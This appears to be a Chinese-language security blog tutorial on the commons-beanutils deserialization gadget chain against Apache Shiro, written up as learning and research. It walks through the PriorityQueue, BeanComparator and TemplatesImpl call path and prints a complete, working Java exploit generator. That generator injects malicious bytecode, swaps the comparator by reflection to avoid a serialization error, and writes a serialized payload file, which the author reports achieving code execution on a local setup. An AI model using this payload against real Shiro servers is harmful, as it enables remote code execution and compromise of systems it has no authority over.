commons-beanutils简介
它也是Apache Commons项目的一个Java类库,提供了一组简单易用的API来操作Java对象和Bean属性。它的主要功能是将Java Bean的属性值与一组键值对(例如,从HTTP请求或表单参数中)相互转换。主要对javaBean功能的增强。它是shiro自带的依赖,此依赖也存在反序列化漏洞。
什么是javaBean
JavaBean是一种特定的Java类,它遵循一定的规范和格式,以便于被其他程序使用和操作。写一个javaBean格式的类吧,举个例子一看就懂,平常我们也经常写。
package com.payload;
public class Persion { private String name; private int age;
public Persion(String name, int age){ this.name = name; this.age = age; }
public String getName(){ return name; }
public void setName(String name){ this.name = name; }
public int getAge(){ return age; }
public void setAge(){ this.age = age; } } |
javaBean类设置有构造函数,私有属性和公共getter/setter方法:JavaBean类通常会包含一些私有属性,而这些属性必须通过公共的getter和setter方法进行访问和修改。这是为了保证JavaBean类的封装性,同时也方便外部程序对JavaBean对象的属性进行操作。在commons-beanutils的java库中的PropertyUtils类能够动态调用getter/setter方法,获取属性值。
package com.payload;
import org.apache.commons.beanutils.PropertyUtils;
public class Beantest { public static void main(String[] args) throws Exception{ Persion persion = new Persion("xilitter",19); System.out.println(PropertyUtils.getProperty(persion,"name")); } } |
看运行结果也确实能够获取到name属性。
漏洞原理剖析
从上面的例子能够知道,PropertyUtils类的getProperty函数能够动态调用javaBean的getter/setter方法,有点像动态代理的函数调用了。我们在此处下个断点跟进调试看一下。
跟到getProperty函数里面。
会调用到PropertyUtilsBean类的getProperty函数,继续跟进。
这里有几个分支判断,检查对象是否是一个Map,索引等,这里直接进入到最下面的else里,跟进。
跟进invokeMethod函数,
if条件判断后调用了invoke函数,这里的method是getName函数,它会调用Persion类的此方法。
而结果也正是如此。
从上面的分析上看,我们可以调用任意函数的任意方法,但是仅限于调用javaBean格式的方法,也就是get和set打头的方法。而在CC3链的动态加载类那块,是有符合javaBean格式的方法的,在TemplatesImpl类的getOutputProperties函数,
这函数里是调用了newTransformer方法的,而我们分析过CC3链就知道,它是动态加载恶意类的关键函数,这里可以利用PropertyUtils类的getProperty方法来获取TemplatesImpl类的OutputProperties属性从而调用这个getOutputProperties方法触发恶意类加载弹出计算器。编写程序:
package shiro.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Beantest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); //反射修改值 Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); PropertyUtils.getProperty(templates,"outputProperties"); } |
这代码大部分都是CC3的内容,在这不细讲了。学习shiro这一块肯定是要先了解CC的,CC链是基础。运行代码看此思路走不走的通。
成功弹出计算器,没毛病。
构造链子
链子的后半段就用TemplatesImpl类的动态类加载了,然后就调用getProperty函数进而调用newTransformer触发了。查找用法,找找什么类的什么方法调用了getProperty方法。这里查找到BeanComparator类的compare方法,
在CC2链中PriorityQueue类的siftUpUsingComparator方法调用了compare方法。
comparator属性可控,可以调用任意类的compare方法,而PriorityQueue类也重写了readObject方法,可以作为入口类,(具体细节详见CC2链)那么整条链子就对接上了。大致链子流程为:
PriorityQueue.readObject->siftUpUsingComparator->BeanComparator.compare->PropertyUtils.getProperty->TemplatesImpl.newTransformer->动态加载恶意类 |
问题分析与解决
事实上编写完初级版的EXP序列化都会出现报错的,放上初级EXP的关键代码:
public class Beantest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); //反射修改值 Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties",null);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator); priorityQueue.add(templates); priorityQueue.add("2222"); serialize(priorityQueue); } |
看一下序列化的报错信息:
只看这条报错信息还是有点懵的,在add函数下个断点调试看一下。
第一个插入队列的是TemplatesImpl对象,没啥好跟的,看第二个add,
这里队列个数不是0,调用siftUp函数,跟进。
继续跟进这个函数里面,调用compare方法。
这里是要调getOutputProperties函数的,之后不再细跟了,直接到抛出异常那里。
这里调用2222的outputProperties属性发生异常。那么该怎么解决呢?引入CC依赖的TransformingComparator类,让PriorityQueue类的comparator属性赋值为它,不是默认shiro不带CC依赖的吗?这只是为了序列化不报错异常退出而已,后面再用反射改回来,实际上服务端执行的是序列化后的代码,而我们在序列化的时候就把comparator属性给改掉了,(反射的强大之处)为什么要引入TransformingComparator类,宏观上来看是为了不让第二个add发生报错。
该函数也重写了compare方法,这里将value1和value2作比较,而这两个值都是能直接可控的,主要还是为了不报错罢了,不清楚的小伙伴自己下断点跟一下就明白了。
完整版EXP:
package shiro.demo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Beantest { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "aaaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class")); byte[][] codes = {code}; bytecodes.set(templates, codes); Field tfactoryField = c.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); BeanComparator beanComparator = new BeanComparator("outputProperties",null);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templates); priorityQueue.add("2222");
Class<PriorityQueue> cl = PriorityQueue.class; Field comparatorFiled = cl.getDeclaredField("comparator"); comparatorFiled.setAccessible(true); comparatorFiled.set(priorityQueue,beanComparator);
serialize(priorityQueue); }
public static void serialize(Object object) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("shiro.bin"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(object); System.out.println("1.序列化成功"); } } |
本地起环境打一下,看看效果。
弹出计算器,万岁。
结语
目前shiro专题就告一段落吧,shiro框架的其他版本后续再补,这次先放了。
反序列化之路任重而道远。